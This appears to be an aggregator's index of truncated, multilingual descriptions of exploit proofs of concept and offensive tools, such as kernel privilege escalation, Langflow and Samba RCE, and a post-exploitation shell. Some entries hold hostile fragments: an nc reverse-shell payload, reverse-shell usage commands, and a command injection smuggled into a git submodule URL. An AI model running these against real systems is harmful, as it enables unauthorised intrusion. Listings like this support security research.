CVE-2021-32804

CVE-2021-32804 yamory blog 「CVE-2021-32804 npmにも影響があるnode-tarのパストラバーサルの脆弱性」 で利用したDocker環境の構築を行うためのレポジトリです。 环境搭建 root@kitploit: docker build -t cve-2021-32804 . docker run -it cve-2021-32804 /bin/bash 重现漏洞 node-tar root@kitploit: root@5e1af2148215:/poc node tar.js root@5e1af2148215:/poc su node...

coeus-ci

Coeus CI Inteligencia Competitiva que lo ve todo. Nombrado en honor a Coeus SEE-us, el Titán griego de los cien ojos de la mente inquisitiva — cuyo nombre significa literalmente "indagar". CI significa Inteligencia Competitiva. Una herramienta OSINT de inteligencia empresarial que construye...

CVE-2024-1086

CVE-2024-1086 CVE-2024-1086 のユニバーサルローカル権限昇格 Proof-of-Concept エクスプロイトです。v5.14 から v6.6 までのほとんどの Linux カーネル（Debian、Ubuntu、KernelCTF を含む）で動作します。KernelCTF イメージでの成功率は 99.4% です。 https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de ブログ記事 / Write-up このエクスプロイトの完全な...

CVE-2025-3248

English | 中文 Langflow 漏洞扫描器 用于扫描 Langflow 应用中 CVE-2025-3248 漏洞的工具。 功能特点 支持单目标扫描或使用 FOFA 批量扫描 在存在漏洞的目标上执行系统命令 获取系统信息 支持自定义 payload FOFA 扫描进度条显示 美观的命令行界面 安装方法 1. 克隆仓库： root@kitploit: git clone https://github.com/xuemian168/CVE-2025-3248.git cd CVE-2025-3248/ 2. 安装依赖： root@kitploit: python3 -m venv...

CVE-2024-11318

CVE-2024-11318 IDOR - AbsysNet 2.3.1 User Hijacking DISCLAIMER This tool is designed to help identify and exploit whether an application is vulnerable to this specific CVE-2024-11318. It is intended for use by cybersecurity professionals, researchers, and penetration testers to assess security in...

cve-2023-51385

验证CVE-2023-51385 首先需要在/.ssh/config中增加如下内容 root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p .gitmodules文件语句中存在命令注入 root@kitploit: url = ssh://echo helloworld cve.txtfoo.example.com/bar 配置完成后,执行下面的指令触发 root@kitploit: git clone...

derpyc0w

免责声明 对于您使用此代码所做的任何事情，我概不负责。此代码不提供任何担保。 描述 针对CVE-2016-5195的利用程序，它将一个只读SUID可执行文件映射到内存（只读），并利用竞争条件用我们选择的ELF文件覆盖它。有效载荷以NASM格式随利用代码一起提供（cowshell-x86.asm && cowshell-x8664.asm），如果您想了解cashm0ney内部的内容。...

sdwan-cve-2021-1480

CVE-2021-1480 SD-WAN 漏洞利用 用于在 Cico SD-WAN 上利用 CVE-2021-1480 的 PoC 材料。完整报告可在 XMCO 网站上获取： https://blog.xmco.fr/wp-content/uploads/2021/08/XMCO-SDWANReport-CVE-2021-1480.pdf 用法： 1. 更新第 173 行和第 176 行，以设置当前用户的 uid 2. 启动代理：python cve-2021-1480.py -L 4564 127.0.0.1 4565 3. 启动 confdcli：CONFDIPCPORT=4564...

postshell

PostShell PostShell is a post-exploitation shell that includes both a bind and a back connect shell. It creates a fully interactive TTY which allows for job control. The stub size is around 14kb and can be compiled on any Unix like system. ScreenShots Banner and interaction with shell after a...

cdb

Pown CDB Pown CDB is a Chrome Debug Protocol utility. The main goal of the tool is to automate common tasks to help debug web applications from the command-line and actively monitor and intercept HTTP requests and responses. This is particularly useful during penetration tests and other types of...

CVE-2026-20217

ZendTo 6.15-8 / ClamAV 精确配置 RCE 与 root 变体重现 本目录是一个独立的、授权实验室内使用的复现捆绑包，用于无账户 ZendTo 到 ClamAV 代码执行链，以及其独立的默认配置 Smarty/root-cron 后续阶段。它包含： 完整的可运行 PoC 依赖闭包； 用于构建 Docker 目标拓扑的脚本与溯源记录； 与经测试的 systemd/socket 生命周期匹配的 Docker Compose 定义； fail-closed（默认拒绝）的镜像、软件包、二进制、配置、CVD、DAC、cron、PHP、 MAC 及文件系统语义检查；以及...

hp-slate7-root-kit

适用于 Android 4.1.1 的 HP Slate 7 2800 Root English | Русский 本仓库包含一套完整、自包含的工具包，用于通过利用本地漏洞 CVE-2015-1805 ，在运行固件 1.05.18 和内核 Linux 3.0.8+ 的 HP Slate 7 2800 上获取持久的 root 访问权限。该工具包已在真实平板上运行，并且结果已在一个全新的 ADB 会话中以及正常重启后得到验证。 这不是通用的 Android root 工具。该漏洞利用程序特定于此 HP 内核配置。请勿在其他型号、固件或内核版本上运行它。 已验证的配置 参数| 已验证的值...

spd_dump-macos

spddump for macOS English | 简体中文 UNISOC（展锐）BootROM/FDL 刷写工具的 macOS 移植。基于 ilyakurdyukov/spreadtrumflash（MIT）， 补齐闭源 spddump 的 execaddr2（CVE-2022-38694 签名校验绕过）， 并在 macOS（arm64 + libusb）上完成全链路： root@kitploit: BootROM → CVE 越界写 → FDL1 → FDL2 → GPT 解析 → 分区读写 → reset 验证平台：UMS9621（T158），Android 13，kernel...

CVE-2026-18504-CVE-2026-16732

cve-id Пожертвования Поддержите сопровождение этого проекта через PayPal или отсканировав QR-код ниже. ⚡ Простое использование Используйте этот проект только в безопасных и авторизованных средах, таких как: Локальные виртуальные машины Docker-контейнеры Изолированные лабораторные среды...

dyen

dyen dyen 使用 macOS 自带的 Python 在内存中加载 Mach-O dylib，并在不调用 dlopen 的情况下调用该 dylib 的导出入口点。其目标是使映像永远不会以独立文件的形式出现在目标上，也永远不会注册到 dyld。 作者：cenobyte [email protected] 2026 https://github.com/cenobyte-vincit/dyen Summary dyen 是一个仅使用标准库的 Mach-O 内存加载器（loader.py），适用于 macOS 上自带的 /usr/bin/python3。它读取普通...

code-shield

protocol-remediator C/C++ 协议·平台代码的漏洞发现规范化为可重现的证明，并在隔离副本中验证候选补丁的 MVP。code-shield 是已被确认存在名称冲突风险的工作名称，因此在公开包和 CLI 中使用了中立的内部名称。 当前实现的核心不是补丁生成模型，而是以下验证闭环。 root@kitploit: sanitizer 또는 SARIF - Finding + EvidenceBundle - source context - manual/external-agent patch - 원본 재현 - build - patched reproducer -...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f 使い方 root@kitploit: Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py --rhost...

CVE-2025-24813

説明 このリポジトリは、CVE-2025-24813 Tomcat 最新のRCE再現環境です。 学習研究目的のみに使用してください！ 利用条件 アプリケーションでDefaultServletの書き込み機能が有効になっていること（デフォルトでは無効） アプリケーションがpartial PUTリクエストをサポートしており、悪意のあるシリアライズデータをセッションファイルに書き込めること（デフォルトで有効） アプリケーションがTomcatのファイルセッション永続化を使用し、デフォルトのセッション保存場所を使用していること（追加設定が必要）...

magento2-encryption-key-manager-cli

Magento 2 Encryption Key Manager CLI Magento 2の暗号化キーのローテーションと管理のためのユーティリティです。CVE-2024-34102通称 Cosmic Stingの被害者は、アフターケアとして使用できます。 対象 開発での使用 デプロイ自動化 CVE-2024-34102通称 Cosmic Stingのアフターケア CVE-2024-34102通称 Cosmic Sting セキュリティパッチ適用後、攻撃者によるAdminレベルのWebAPIアクセスを完全に拒否するために、キーローテーションを実行する必要があります。...

spring-framework-rce

spring-framework-rce CVE-2022-22965 環境要件 1. tomcat8 8 使用方法 1. springframeworkrce-0.0.1-SNAPSHOT.zip をダウンロードして解凍後、名前を ROOT.war に変更します。 2. tomcat 内の webapps フォルダ配下の ROOT フォルダまたは ROOT.war を置き換えます。 3. tomcat 内の bin パスに移動し、.\catalina.bat run を実行します。 テスト方法 省略 結果...